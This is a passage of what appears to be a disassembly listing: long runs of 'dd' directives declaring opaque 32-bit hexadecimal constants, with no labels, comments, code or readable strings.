0F9ED234Dh dd 0F43599E5h, 3E47EF16h, 1F56EC9Ch, 22175A25h, 58365000h dd 93B271EEh, 0A072A1h, 519D76BDh, 0E48E11BBh, 6860DA17h dd 8AB0A419h, 0EC9DB0DCh, 905CCAh, 0F970B70Bh, 50BEC446h dd 4F4656h, 0DB2F0922h, 7AC1B8F6h, 37AB095Ch, 4C49D363h dd 111FD282h, 3683804Ah, 12DB905Dh, 426CAFBDh, 32F8185Ch dd 0E711F09Fh, 17A26C80h, 45026285h, 56C80877h, 784C40F3h dd 0F6C38335h, 0E85707C0h, 0C83ADB28h, 0FCB4C108h, 4E1C0237h dd 438549h, 0E86C8C84h, 50415D6Ch, 369020ECh, 25F04C2Dh dd 54E0CA18h, 8B42409h, 0BBDA8A54h, 55B04224h, 8AB8CA02h dd 1B11301Ch, 8B8E8780h, 448C7383h, 7F003A17h, 70C11D8Eh dd 3082223h, 21532B01h, 1CBA58B8h, 545A5854h, 18EF5608h dd 9CA60F4Dh, 2B006CC3h, 0FBAC87BEh, 0C35850D4h, 900E4ACCh dd 227149Fh, 0B0B1E859h, 0DF6D940h, 9579D430h, 0DD12054Ch dd 8A942AD0h, 0B8F85898h, 810E8CE3h, 6261D454h, 548BE856h dd 3E8A0FE0h, 34213D89h, 63338341h, 55150030h, 0FCE088BAh dd 87C9642h, 9C20F9DCh, 0A21D7425h, 0CE9088h, 0E406830h dd 9718B09Ah, 8031DC7Ch, 98024060h, 4739B905h, 0D0400A1Ch dd 72973313h, 21B11830h, 57FA9A4Eh, 0E9ECDF09h, 0A0D80F8Ch dd 80B9FF1Eh, 48166464h, 0B8E8A92Bh, 915F1D4Eh, 0B508423Ah dd 50408657h, 638243A0h, 238D2E0h, 0D4541859h, 0EC746C80h dd 41C48Bh, 271FE6Eh, 493CFB2h, 974CDD2Fh, 80E89138h, 43F88831h dd 2C5F468h, 0BCA0B4DAh, 1C4870AFh, 3854885Ah, 25132EB4h dd 844160ECh, 0B8F2BE31h, 0C90CF0E0h, 70659C20h, 97604CC4h dd 4FF2CA82h, 0B4D00328h, 14744002h, 0A0051BEBh, 0BAD7249Ch dd 0B66400D1h, 0F71D36C3h, 52F1CA5h, 0E8BD27h, 6A5F0B53h dd 0C8C4ABCAh, 0BB0224D0h, 6C78E487h, 0A7899509h, 10E0822Fh dd 0BBBD030Eh, 2D1D1805h, 0A849D01Ah, 0E42CE5CBh, 0BCC66046h dd 6CF04997h, 0E030205Eh, 630C87F6h, 0A0D131F8h, 901340D8h dd 3EF24C98h, 10DA0982h, 7E067B58h, 8FC1029Ch, 3E93B858h dd 50604A00h, 40096834h, 10A0248Ch, 991B0053h, 37552D85h dd 0CAD8C41Eh, 2E40C262h, 0DCB7AC89h, 1BDA0387h, 6884BC53h dd 0B9A9069h, 0D03738E3h, 2CD2889h, 1A24F0h, 3534BAB5h dd 11F49795h, 5DA580E2h, 0A41852E3h, 853905B8h, 0C16E3FABh dd 0E6593E92h, 0CC903C7Ah, 56BF01EDh, 90814AE8h, 8EEA0080h dd 25B9425Bh, 5A043336h, 0DFD05728h, 83FAA4E1h, 91AA4h dd 0F918ADC9h, 0FAB62194h, 8CF20300h, 7DE34579h, 22C4A00Eh dd 8F32162Bh, 8B0452A0h, 0C047C80Ch, 5C0DCF2Ch, 0A89ECE34h dd 6E4FC8F6h, 0DE480180h, 6CAD401h, 12A28063h, 31C6330h dd 0B9A20554h, 42987BCDh, 0C0A8D618h, 8203222Dh, 4136877Eh dd 83B1B1C1h, 0B1493830h, 0AC6715C0h, 0F852093Fh, 73F13100h dd 3A2B51Fh, 0CC58FCB4h, 0ACB184E8h, 6D184D71h, 0E2BA9000h dd 0B8A8753Ah, 4DD4A9C0h, 0B5842473h, 0B43143E0h, 0BE00BFC1h dd 0B4D95C97h, 0AFBBE1D8h, 0C0002B84h, 7F42A63Ah, 80B180h dd 0EC7D3156h, 112C1F97h, 7E089035h, 70179E37h, 0F2F1DA69h dd 0FF50F60Dh, 67F2E8E6h, 6048E448h, 133A3319h, 45C880BAh dd 0CC2D1B88h, 4D5A8C88h, 0D0C6DC4Fh, 0C0B6FA22h, 0A1ED00DCh dd 0F9D7BF4Bh, 4DEBFAF3h, 0B46E2E98h, 0ABF0A600h, 0D4DB5156h dd 405BCF3Fh, 0E4A095E2h, 75C83C24h, 0FB2F5700h, 0CF39D33Fh dd 50581636h, 90B4C2BCh, 0DCEAE88Bh, 0FE1BCC61h, 0CA527B00h dd 1F97C31h, 25DB014Dh, 335A890Ch, 18FB1FE0h, 3A523E07h dd 6C88B760h, 10C08206h, 689648CCh, 86992C02h, 4F20610Ah dd 8F026436h, 9F548CBDh, 1058185Eh, 36BD0588h, 40021BFCh dd 2B6374A8h, 87797A80h, 0F224F0EAh, 0B6111CCFh, 0EC318E00h dd 0B8569585h, 3000DF5Eh, 78612E5Bh, 2E9C8128h, 0ED00646Bh dd 27006C3h, 0AC009949h, 0E165F132h, 3C8A5D5Fh, 80001D7Fh dd 9763610h, 854C1B60h, 63DA05A4h, 4078754h, 18C38B25h dd 97E900D8h, 50664073h, 0BB1D1085h, 0DD4963D9h, 0E494655Bh dd 8647614Bh dd 164E38C0h, 495DE3A6h, 0B49798E0h, 0F5804991h, 0B5DAF15Bh dd 5FF38912h, 0ECE0900Ah, 45337B89h, 610EE410h, 0F422E3FEh dd 1F1DB0Fh, 0D16A1DA7h, 3C3C1549h, 8C46BC68h, 0AF1F927Bh dd 6938FC10h, 5B709122h, 198490F1h, 0A91C3D13h, 9400174h dd 0FF5AB450h, 4F2B9F0h, 0C35CAC67h, 20FF87F5h, 4BC85481h dd 27CC314Dh, 44F4C7E5h, 79876246h, 88398294h, 0EC070AB8h dd 0F4CF2F05h, 0ACC11188h, 0BED8037Ah, 5EF8B6BDh, 952C4346h dd 79F104A4h, 5B38F8C1h, 4423582Fh, 2C014E26h, 0FFAC9734h dd 0C2133028h, 239C3A15h, 18D2160Eh, 5CEB614Bh, 8F70A800h dd 4139BB8Ah, 0A4E2E05Bh, 0C1B202A8h, 255C0B1Ah, 0CE480440h dd 1D2A8D80h, 42F1C9B4h, 0A35A3B37h, 465E20D4h, 51C0014Ch dd 78655D7Ch, 2A3060C6h, 0F48F488Dh, 4F905A10h, 0E911088h dd 89F0B44Dh, 48025440h, 490E2116h, 0A373E7F1h, 0EF874E2Bh dd 0E588029h, 14832C48h, 505F2685h, 8C4BB8h, 0CDB57C2h dd 8050AE3Ah, 0EB014C00h, 5983AA46h, 241A9D8Dh, 465E8876h dd 0E60C7310h, 793EB528h, 75180043h, 6862B840h, 0E70CDB03h dd 2145B464h, 4680002Dh, 79852FDCh, 1200D70Ah, 1C42A150h dd 4C04A409h, 9C10CC4Dh, 0F0B3000Bh, 626A1808h, 99CB7CDFh dd 18497904h, 0E3E83EBEh, 0F90068C8h, 0B8A3B18Fh, 932DDFBCh dd 3C1C4808h, 0C92D8CDBh, 645467CDh, 4E5F604Ah, 4FB10530h dd 808453A0h, 0D8E9DA6Eh, 1DC1B007h, 93A417EEh, 28B220D5h dd 8C3048F2h, 0E99B2CC5h, 845444D8h, 8570D1EAh, 0B85069F2h dd 0F5B10017h, 5D71EF44h, 56123D52h, 30A17BE8h, 6E4F5C6Ch dd 0D16B02A8h, 0D667E88Fh, 8B36139Ch, 0C0DF88E0h, 0F3D0552Ch dd 2501189Eh, 2BEFD707h, 16836424h, 44154B4h, 0FD2C2348h dd 0A6AD21FCh, 40BD650h, 40D8C423h, 0C03A84B0h, 2A8598D9h dd 1491F44Fh, 0C31844D9h, 0BBF1BA02h, 74F704B7h, 0E8880938h dd 6D04E458h, 87513ED3h, 4C41A0A0h, 2F81707Fh, 822BD060h dd 8869828h, 0E4C52B5h, 1DF8A31h, 0C18E4B01h, 0A0042BF4h dd 233EFB42h, 0EA83074Ah, 0BBD900FEh, 0D662A887h, 56CB27B0h dd 0F8472D98h, 8D631464h, 6BEAC88h, 0B38F1613h, 9E7A2821h dd 354B430h, 841DFDC3h, 0D0B889F5h, 70C245D7h, 4D358A58h dd 56DEC024h, 0EF88A3F0h, 74ECBE5Ah, 0E9024B47h, 60EA77A1h dd 8A1040F3h, 0C814CAD3h, 6BF3C04Eh, 5B01B272h, 29DD8BE7h dd 9C54491Ch, 13F248B2h, 2D7F330h, 0BF46C426h, 88A0D418h dd 0D599ECA1h, 0CC72A02h, 7CF356D6h, 4690DC1Ch, 3CA7662Eh dd 0B7A3BA0Bh, 427584DCh, 5774887Eh, 24E08810h, 0F47FF912h dd 550B046Ch, 97990A5Eh, 814B914Ch, 5AB79DCh, 2E4D4E8h dd 548A84C0h, 20D0B7F0h, 7CEF853Ch, 1035C334h, 9AF7D8F8h dd 7898A380h, 0AA009841h, 0F37A9366h, 5EB7BC13h, 806C85B4h dd 2EF9E920h, 89D85125h, 80BC37D0h, 697EE3Ch, 0B8BC3210h dd 7D787849h, 0D9CA5BF7h, 0B23872D8h, 8F423017h, 5C59F00h dd 82D4E48Dh, 883038ECh, 0C2640CDEh, 0FE8C1C58h, 838C138Eh dd 3B0C387Bh, 0E8E8001h, 0E6315FBCh, 7C6896EDh, 5A8CDFBCh dd 0F8C8C0A8h, 7700F24Bh, 9911D3Eh, 5CBEBBE6h, 2302DCEAh dd 3948EC85h, 89C7F080h, 1D058EF2h, 0DFF4B7BEh, 0C0689819h dd 0FC285AE1h, 69DAB818h, 8725BC2Bh, 0E4288EC4h, 10F4B4DBh dd 0DCE89C5Bh, 1FE68200h, 56789B46h, 0F8849D31h, 9B1652h dd 613C9280h, 88176249h, 0CD015B0h, 0C991AAEh, 3CB52785h dd 0BC0020B9h, 32166174h, 12732851h, 0F6362185h, 0C46FB01Ch dd 18D1091Dh, 68022975h, 0B85AB5DBh, 98BC0927h, 885E7738h dd 0B078551Dh, 0F41C967Ch, 83EFEC25h, 5B37B618h, 0C8E48E30h dd 0BCDBC011h, 930B5EDEh, 0C260E483h, 52E42B2Ch, 2C900B24h dd 84717C42h, 0BA67DD40h, 0A5BB124Ah, 0F25CA2E0h, 3E5A3042h dd 2D5C69E5h, 0EB3844BFh, 7040BBD1h, 4EEF3383h, 23302E9Ch dd 5D240048h, 0DC80BA7Bh, 9C12E4BCh, 42A278E3h, 3CBABE30h dd 98249DC5h, 400DC68h, 0E30179B0h, 3BB85861h, 0F45028F4h dd 30490B15h, 2050489Ch, 6B985Eh, 2B5C5A2Fh, 29DA5E0Eh dd 3A0C8BEh, 80704AB4h, 4B935BE4h, 421D7F01h, 8D23892Bh dd 0ACF3C4EBh, 0F3047A2h, 0B0510118h, 0B3B8A6C1h, 22547CDDh dd 0DC819F14h, 504208B4h, 6338EC08h, 6BBC4082h, 40418249h dd 5800F66Ch, 5CD7F6D0h, 16ECA8E2h, 1B29008Ch, 40B611B3h dd 5400BB6Fh, 37BAB060h, 279F2E3Bh, 0ECA78442h, 166CFA3Dh dd 0A940F41Ah, 3C35AF0Eh, 0CC140059h, 2443DCBFh, 53C258Ah dd 0F89C7F32h, 0B59925C0h, 85B68790h, 0E47DF078h, 5099744h dd 2B98A95h, 43B56B4h, 8F9088B3h, 0D01C7B00h, 3135112Ch dd 4CE0FCF2h, 0D8F58B4h, 9AF4DDE0h, 0BA2C3F87h, 0B878D8C9h dd 4D30422Dh, 0F0DBAD48h, 7DB38F3h, 0D05658C2h, 17E04AFFh dd 0D400E4E3h, 60178F00h, 7BF9EB6Eh, 0C9CC6012h, 9F5DF131h dd 90DD605h, 0C0057B4h, 88B2F3BEh, 46F22640h, 0B3090688h dd 48EB210Ch, 1F606BD0h, 0BA793A2Ch, 3C71F97h, 669F0080h dd 0FF686447h, 0AC421538h, 1C0B4CB1h, 67244F61h, 0D63F7695h dd 0C33C7F0Eh, 5AA0144Ah, 4A23203Bh, 6E8E4500h, 95325EDh dd 189CD220h, 1C0AA452h, 8880592Bh, 928DF100h, 0BC2707B8h dd 0EE0960B8h, 970EC0C5h, 1646F534h, 4AC8708Bh, 4B6655C1h dd 5970CFCDh, 949C4C03h, 2D190810h, 308C44B3h, 79A1DE17h dd 2800EB85h, 0D9485155h, 5BE8DAh, 931F755Ch, 23DBBB80h dd 6230E412h, 0C02A3C0Bh, 59BFF574h, 215B6C2Fh, 6ACBA650h dd 4823043Bh, 0E33E2600h, 7CA986D4h, 748F1292h, 0B2A0A3F9h dd 0BB53046h, 0DDA74E02h, 0C00C5830h, 1833D100h, 58CD7887h dd 670A89BFh, 0B8EC6A4Fh, 54003611h, 442D2F91h, 4A2E1276h dd 6080B081h, 0BF598B25h, 9BE82754h, 0B0E31001h, 943B7FCFh dd 22004623h, 0F9248BDAh, 23545B3Eh, 0E7BA87E8h, 350F009h dd 0A3B221B9h, 410039E3h, 0D2A7956h, 56CEFA9h, 174EE742h dd 23983A6Bh, 3A8C0045h, 0E3FBE94Bh, 0CC84404Eh, 6B5BB0FDh dd 4EF700ACh, 87088818h, 9D1173Dh, 0EE8C20B7h, 45412BEFh dd 0AABC643Fh, 253BF06Ah, 9C1E5681h, 0CC5CC78Fh, 3896D40Ch dd 0CDF6273Eh, 0F22C0FCh, 0C29763BEh, 14C47E00h, 5DC1D03Dh dd 78F0D0B7h, 0BC838700h, 0A0A95695h, 54BC744Dh, 28DDA800h dd 0EF5386E7h, 0B8092DEEh, 0D0848812h, 2508BC60h, 244418h dd 889AC424h, 0B374AEA7h, 5DD3E3A0h, 9212B900h, 0B46582Fh dd 1E4F2C55h, 48467470h, 2063EF00h, 0D4B0B962h, 0D1EC80A0h dd 96812E80h, 0AFBD86E8h, 7CB4193Ch, 486E976Eh, 570AA17h dd 0F557D424h, 0BB9820C8h, 956A1901h, 0A0DE2D56h, 23142F7Fh dd 0B5800FE4h, 94B8C402h, 0CE91ACD4h, 0C07B9C25h, 3E8F858h dd 22EE5AF1h, 5DDAAD04h, 17B788D8h, 8248911Ch, 0FE50199Ah dd 0C900493Ch, 92165D2Fh, 57829C91h, 0AE284C68h, 0AEEE20C0h dd 0BEA9D336h, 0E4972774h, 4E804591h, 5805130h, 463CE416h dd 583DC8A2h, 0B80D8892h, 0C0CE5AA4h, 0C8C04588h, 385FE935h dd 6989EE60h, 88CD87F3h, 0B88461C4h, 34873081h, 86F05h dd 0D428CC53h, 0B5EBFF83h, 0A3CB019h, 47A27842h, 12BF30h dd 9778E13Dh, 3807F054h, 4A84C695h, 0E2E4E358h, 19A43014h dd 8803C077h, 0C854696Ah dd 8060F663h, 95E440B0h, 8FBCB0C0h, 17DEA020h, 8378D25h dd 17ADE3CCh, 80E4913Ch, 2D102F8Ah, 0B44301B3h, 4B3E63D0h dd 48742E6Eh, 0E39D008Bh, 87BBFE02h, 8A2869DCh, 0D2B8143Dh dd 5B42473Dh, 0C500887Ah, 0ED776EC4h, 9B03B93Fh, 173DDBF1h dd 0E36900E0h, 964758A4h, 0E13E047Fh, 7AD3005Ah, 8DD233F9h dd 552A03B1h, 0CBEFFF25h, 6CF4B0D5h, 8BE428F1h, 0C4BC4750h dd 0F0C06014h, 57D3006Dh, 5C21D7E2h, 0D940B487h, 0D162EA8Dh dd 7BBCC4D1h, 0FF7A9300h, 9C87BCA9h, 1FB0B1DCh, 0C20581F3h dd 6AA61572h, 0DCBDF452h, 9F0657B8h, 0C68E8D4Fh, 20AE97A6h dd 36B17EE2h, 49793CD1h, 38012318h, 20DF1467h, 6830F336h dd 0AD3A414Ch, 71037C0h, 0E0E0ECC7h, 0B17842D4h, 0B0496B0Bh dd 2841188h, 37412034h, 5791667Fh, 0A3174F29h, 3142F288h dd 0AC202F1Eh, 149E34Ah, 0A23469A3h, 0C0CF43BBh, 2413567Bh dd 1891E4F9h, 203DB5DAh, 58EC2304h, 948C164Ch, 18CC2D2Bh dd 2071BCE2h, 6E1848D1h, 993F8C3Eh, 92194355h, 7E04307Fh dd 58715B33h, 4880405Ah, 0C9608941h, 68793D21h, 0A0B7BD02h dd 67B40ADFh, 0ECB86027h, 0C700CFF4h, 389EA83Bh, 88D9DAh dd 8D337F39h, 0B4320361h, 641DC006h, 9F97A42h, 2A568CFAh dd 0E11B01Dh, 0EC1DB981h, 56447438h, 0C047E827h, 5EE48364h dd 0FD88C5C0h, 1B7B8C8h, 71D7A06Eh, 0E4B8990Fh, 0E4F6BCB6h dd 528040F5h, 0A1B52480h, 0EED0AFA0h, 33C6BA01h, 304CA268h dd 6975D558h, 7DF46C01h, 8D088BAh, 7417E072h, 1AA890F6h dd 0B4195606h, 9D40F1D2h, 546B7Fh, 8DE5EA70h, 41742A2h dd 1FF05721h, 0D2850E61h, 70AC5812h, 0B81CA9D3h, 41D500D2h dd 4DB3D610h, 50373E3Ah, 0EAF48935h, 0F01CB2C2h, 6050B414h dd 6C718A95h, 0CC9CB3F4h, 5F80AA9Fh, 2185D8FFh, 983142Ah dd 5B2550BAh, 4EE40445h, 0D0956D61h, 0FD0C03EAh, 483906F6h dd 0BE10FCB7h, 685F4188h, 87FC21ACh, 4ACF7AA9h, 0C0C46D09h dd 481D39E6h, 5E750E09h, 38D1DCh, 377DF1CFh, 0CD002F71h dd 0DBFFD8ADh, 0B78CCC03h, 662A1000h, 0E450B0AFh, 8B4BB294h dd 0E88ACCEh, 0BA8A92C0h, 0B2834EBDh, 578F1348h, 60A6780Eh dd 0C28AA0D5h, 0BF442469h, 68972700h, 0ED801591h, 0F905713Dh dd 0C8049207h, 0D0047FBCh, 444B8C9h, 0A97434ABh, 0E8A0B864h dd 0E8F70506h, 28F2177h, 742B97D4h, 81523E02h, 22859828h dd 0ECD006D1h, 9D4E5ADCh, 0A2403384h, 61343015h, 0B909F47Fh dd 763A4501h, 0A97540D8h, 0D0F81AC7h, 0BB39403Fh, 3DEE8E8Ch dd 92AC277Ch, 60DBB051h, 5F2A9CCh, 1DB48EBCh, 0B1BCA801h dd 2909FE88h, 29BA860h, 89951F5Fh, 0C841D73Fh, 0E0B31039h dd 0B8261616h, 809C3C60h, 75CC5020h, 10603057h, 0D4B7BB20h dd 0BA026094h, 561AE868h, 49467624h, 16738D00h, 2FF0568Eh dd 68C83751h, 489BD270h, 0B7DACC82h, 508B8C4h, 2D33C8ECh dd 0F9599425h, 265BECA8h, 3ABA1694h, 4EC4015Eh, 2B3189F0h dd 885DF088h, 0FC12B898h, 34161BF3h, 13C814CEh, 194518C0h dd 50941CBDh, 0FCC28BF6h, 98805459h, 0C65C067Bh, 3E645BE3h dd 4523A8h, 7DEF74Ch, 5A1CB4C1h, 0CB911235h, 7B992B00h dd 0B9877D0Fh, 0DFFD1A00h, 0D0589077h, 454F4BAFh, 0A8700278h dd 0BF32C2F0h, 1168C0D5h, 0E28D4A28h, 749922C0h, 845013F1h dd 0D300AD71h, 0E5B2E8F2h, 98ADA730h, 54F4040Fh, 88C48345h dd 991F5BFCh, 828981B9h, 40CC7C5Ah, 0A86EC38Eh, 4A65D012h dd 803CB408h, 0F8DBB182h, 0B0000139h, 3E54AE4Ch, 2B298FCh dd 528D71D6h, 0D4605B90h, 1880D43Ch, 38492E6h, 7363094Ch dd 0BEAA8182h, 74A644F6h, 0BC106760h, 25B609C9h, 8C4054ECh dd 0F4B0E329h, 694048BCh, 17A824Dh, 55D4B2ADh, 0FC155953h dd 245A875Ch, 0C9BA8400h, 273E6B17h, 7C89318Ah, 0DCD4DEh dd 0A4C64D67h, 5809DA0Eh, 0CFC8016h, 0FB0524A6h, 0FD5CE0EBh dd 105C4C30h, 164E55A0h, 80289B7Ch, 0EB62BF96h, 0A4174B52h dd 4C1E6E34h, 0CBEC25E6h, 0F871390Ch, 8DE740C8h, 99178C9Eh dd 28D820DAh, 1D012509h, 41F44918h, 0C029A35Ah, 0D62C50B8h dd 39114012h, 2897BB06h, 0CC80A8EFh, 0EE754A25h, 98D7E002h dd 591E4F54h, 184379ACh, 9C974C4Ch, 4A44E310h, 4C13861h dd 8034E311h, 4173B139h, 10FCEC6Fh, 5F4617C7h, 0DFC84C9Ah dd 0F0570AC0h, 503962D7h, 0F2822FAAh, 2F5D343Bh, 8BF00320h dd 488C74Bh, 0FDEDE9DAh, 0A5B2218Ch, 0EA40D44Dh, 0B12C2C9h dd 0B2DADC87h, 0FC9EECE4h, 13474676h, 1008F37Fh, 5B8F80DBh dd 0AD0EA161h, 6959EE1Fh, 4193803Fh, 56904F24h, 6BA4BC25h dd 0F36720EDh, 0E660BC17h, 28ADE447h, 20F07F96h, 59014283h dd 8FBC8EBAh, 2821E0C0h, 8C1CC53Eh, 0F6006EE8h, 0C357597Ch dd 1647D5ADh, 0B76F1069h, 2529B190h, 451CD22Ah, 2AE5204h dd 1A788B4h, 78EB5BF5h, 0D7004FA9h, 0C52AF4BFh, 5816612h dd 0B99733EEh, 0A4E7EB07h, 6D25FA0h, 0A1BD8907h, 83631430h dd 0E68180C1h, 917D0128h, 419D017Fh, 3B1E811Dh, 3F860FD9h dd 97FDD0ADh, 801D9186h, 0AA6880BDh, 93050019h, 666E1196h dd 291FD98Ch, 6C32798Dh, 0FCD40F6h, 0FFD15B84h, 0CA5F960h dd 12EC00B5h, 95FF5F8Fh, 36D02E45h, 8C1CE8B1h, 5499C900h dd 7762DDCDh, 0AB0E5EE6h, 15587840h, 13DCC42h, 1EEEB8EDh dd 6F0F8385h, 7677EDh, 1147D850h, 45DFBF8Dh, 0A95E5238h dd 17D1CB5Bh, 56B80B18h, 0B5198BE4h, 2BD81C05h, 817BF5F2h dd 0BBAF458h, 57297F76h, 1B97E877h, 893A0747h, 0D0AB6DD9h dd 0BF0F7204h, 3DBAFA61h, 0DD8D0834h, 20351186h, 6639D71h dd 503DE990h, 40351F17h, 0C0528B0Bh, 3114E253h, 2BE96EC1h dd 0B6ACAA00h, 0C4F5FCB0h, 0C8A86D00h, 22F4F229h, 0F440701h dd 27FE8B20h, 8ED844C3h, 0C0178843h, 0AE1D93FAh, 0BD958918h dd 3085C7D7h, 330C2A05h, 3A0CCE5Dh, 3B01830Fh, 80E2DCFCh dd 52B6BFF0h, 810C2273h, 341AA5BDh, 175192D0h, 0AB30850Fh dd 5480449Eh, 77FDA53Dh, 85FF4B14h, 0FA663031h, 0A3AD9509h dd 0B5F5CFA2h, 0CE810F41h, 8A203885h, 17116069h, 31F2C2BFh dd 151DBD32h, 33DAD790h, 0A7F37100h, 4E223B3Fh, 0D0540FC6h dd 1B204746h, 6D178251h, 2EEF695Bh, 3B1B239Ah, 0F92AE180h dd 9133D8DCh, 7D83E291h, 32EE7E3Ch, 0F2D8E432h, 58FCDBDFh dd 3760AFE6h, 9D29F042h, 52154905h, 0D8391122h, 24C00043h dd 8D815B08h, 0B5401AFh, 0C5F57F72h, 886F4B71h, 0A82DC01Dh dd 4B028E88h, 689D9265h, 8462B5A1h, 8EBF5FF7h, 0C2158865h dd 0DAD70D05h, 2FAE05CDh, 0C3EFF7Eh, 0F806F389h, 88E65EC1h dd 0F86E287Dh, 8C1DB815h, 0CFB3A000h, 0D50F1FEFh, 36080399h dd 0FFF839E9h, 58E6BE8Dh, 0C44F01B7h, 38E9F4FFh, 0C18BF816h dd 8889CBEFh, 8C9C019h, 0D816CF46h, 0C7EEEBACh, 0CD770B38h dd 6C0160AFh, 0E1007BECh, 831E448Ah, 5AFDB531h, 8F05FE1Bh dd 388F0F99h, 84C01D88h, 0EEC434FEh, 8A230465h, 809076DEh dd 508B27D4h, 21E10AC4h, 0E29CD398h, 6E62000Ah, 0A310B152h dd 73003075h, 0FCA532E6h, 4C3D0918h, 15EC396Ah, 42703E8Ch dd 0E86BC782h, 51F76019h, 1816D19Ch, 0DA752DEDh, 0AC9FA0F7h dd 14AEA7h, 6051EF41h, 0F5E5F61h, 0C7048722h, 0A2386CF0h dd 0B080F9B7h, 6180EC0h dd 1AC466A5h, 42944F60h, 3802157Ch, 0DDBD2BCDh, 3259F503h dd 0C9D66380h, 0AD529E5h, 5C08393h, 194674E7h, 8AF35E00h dd 902E070Eh, 1F810F34h, 52599E1Ch, 0E91112EAh, 0A30B800Dh dd 0F49F975Dh, 0DBB600F9h, 0A10E7C14h, 31280F3Eh, 0BC0314E8h dd 8488EEBAh, 3917F03Fh, 622315FDh, 5A0AA50Dh, 0DED59058h dd 178BE80Eh, 5EFB6252h, 0D08F9B51h, 1F37B66Dh, 0B0AA0DF5h dd 3ABE6660h, 4FC6FF9h, 608C1BE8h, 0D8E91F19h, 53B074B6h dd 241A7120h, 4B198A0Fh, 7917D03h, 84861921h, 263DBDh dd 0A8FC9D8Dh, 7F29FF17h, 182C30B8h, 0F6019ADDh, 0D3FF8CD1h dd 0ADC0BD7Ah, 23915FCh, 87C41763h, 59918B0Fh, 0E4E3A611h dd 44236D08h, 80D82F8h, 0B5895120h, 56494B9h, 569DE95Eh dd 0D498EBC7h, 938E92CAh, 0C81679BAh, 790283EFh, 0F42A12Ah dd 580B5288h, 358023E9h, 0CA5FDCE6h, 86E170B9h, 5A090189h dd 0F9C0DC05h, 0B601E485h, 100574B3h, 4010A98Dh, 84F5EDFFh dd 1AF99D0Dh, 0E381F743h, 28CC7B86h, 5C0B1D19h, 0A921BBDBh dd 17514BA1h, 0A3144318h, 22DB62BEh, 168376B5h, 0EF180C5Fh dd 972217D4h, 4D432010h, 980079B1h, 0F0A8E50Eh, 251C459h dd 0D71F07F5h, 5BDF9FE9h, 0EA19006Dh, 1C12FF7h, 0BB3C6973h dd 0FE6382CDh, 8D85C799h, 7A88ED3Ah, 0C5A80481h, 0E9CB800Bh dd 0FBEFD773h, 39985A40h, 9D090B08h, 4CD72551h, 349D9082h dd 24182981h, 88AFDA4Ah, 90F0C01Bh, 0E90A969Bh, 0A455E7EAh dd 2FE0AE67h, 1F489720h, 0C0C73EEFh, 5D7291D0h, 8D48CE90h dd 0B43AD607h, 0F10A1523h, 0B909EFCEh, 0CD361009h, 23818018h dd 73FEFF39h, 0DE8C0F3Dh, 0C6460FBh, 0EF07A424h, 7980345Ah dd 80BD8E19h, 77BAD763h, 12D9FEAEh, 44DB8C66h, 0E0C3F6F1h dd 4B8B2163h, 0B593016h, 0BEAAD9B5h, 4007E104h, 0BA66B99Fh dd 3AE52690h, 24040066h, 0D4E9F18Bh, 5D00F7D2h, 3FBA2FCCh dd 48E6E0B0h, 14E80570h, 0E4E2168Ch, 23803A71h, 8ADE001Ah dd 2620980Bh, 0B60F440Bh, 148D7D8h, 4600F8D4h, 6C45C03Fh dd 0C5692B0h, 2B9DBD0Bh, 0BA485FF4h, 9ABA9729h, 0F1D5C0ACh dd 3F4E59FAh, 77947AF3h, 522B948h, 0B1FCBE01h, 0C38B33FEh dd 41B8C23Dh, 0BEDC7100h, 5F6D31E6h, 4E825C1h, 0E800A537h dd 0BCDC2A6h, 234F0135h, 95893AB4h, 0FF6389Dh, 23E2F766h dd 122D09BDh, 3AD82B12h, 1C2378h, 0C498DFDCh, 7C0B1F66h dd 8689ADEBh, 0C45816B0h, 0F34C576h, 241CA550h, 0EFE78880h dd 672D9C48h, 0C5C6B060h, 63023172h, 7DE6B966h, 86347161h dd 0B3398509h, 879447ACh, 61D81FD4h, 0C0E6817Fh, 452B0822h dd 5D42587h, 12800F55h, 81FD802Ah, 0DE0034D7h, 613C360Ch dd 4D40830Fh, 4A519E02h, 0ACC3B97Ah, 29300632h, 7E2161BDh dd 0BA99BA72h, 17181AF9h, 1884101h, 8BD66D72h, 477BF5E6h dd 12C5558h, 33A86EF8h, 35BD9D89h, 6B4D5422h, 0F76D012Ah dd 0A8126788h, 90204325h, 431C4911h, 23902E96h, 0CBE3AC14h dd 1AE97402h, 0BF665800h, 4499794Dh, 1012E50Bh, 70055F7h dd 9E97C623h, 47ED6C2h, 1D015656h, 0B6708E91h, 4874FE84h dd 89EC0F62h, 3384D910h, 0B3ED3912h, 0F016237Eh, 3401B768h dd 8650BD6Fh, 2BF2DCEEh, 0DD587844h, 6E2EF415h, 13001B23h dd 728CBA6Ah, 0ACF8240Ah, 3F10B97h, 5BCE69DFh, 29B96Fh dd 8B1336DEh, 34AC90h, 352AF542h, 0E9C51D48h, 37C32B27h dd 36CB00A9h, 0C0DE8CC6h, 0B718EA01h, 26598589h, 2F38A605h dd 193D7D5Dh, 6D1F500h, 287F6Fh, 3EF09798h, 0E9F7B70Fh dd 0A02D3857h, 7127515h, 7181579Eh, 0BF39551Ch, 3D6187B4h dd 6B840C36h, 0C2C08BFFh, 0DDABE1B4h, 6341554Ah, 0BF00E271h dd 5C7CE169h, 0B518AD66h, 139D1620h, 427E9135h, 52CE2DA3h dd 0C827CE17h, 602FC014h, 0AD5B858Bh, 6661DA0Bh, 0DCF39E30h dd 304C38h, 0DDA731D2h, 166CBF84h, 646615ACh, 6AB222h dd 8B1D5EB1h, 0F80B2Ah, 77D4F147h, 0BE66BA18h, 5F59CE76h dd 8D0F842Dh, 9EFBF7D8h, 9FB70B97h, 0CDF1E786h, 2D5CE9F2h dd 0AC0F3F34h, 0C8B66FEh, 0B44DD5ACh, 82C6296Eh, 5919A5FEh dd 0B03727DBh, 0B8D52C3Dh, 6409510Bh, 0B3837D6h, 33A969C2h dd 7E8052B7h, 9B32BEA7h, 770C4987h, 0ABF5FC17h, 42C145DAh dd 0D813F33Dh, 0D554B52Bh, 1F01BFDFh, 90ED049h, 0C665E9BDh dd 22F3B403h, 0E4C421C2h, 0F5092AA9h, 200C6884h, 0C22B05BDh dd 8E98D27h, 824679F7h, 0F6D7BFD5h, 6B238640h, 0F971D400h dd 0AF12CC09h, 5E8A3BA3h, 25CDB58Ch, 40B66E3Bh, 10755C31h dd 52E1BE00h, 607F7E17h, 0C26A9AEAh, 59FBA950h, 371A00D6h dd 7ED77729h, 1E01AFE4h, 0C58C8394h, 192CB922h, 0DC56B472h dd 0AFE35B01h, 9CA98B4Ah, 40C13960h, 8D2D2131h, 0DA3A8A75h dd 8AD79D13h, 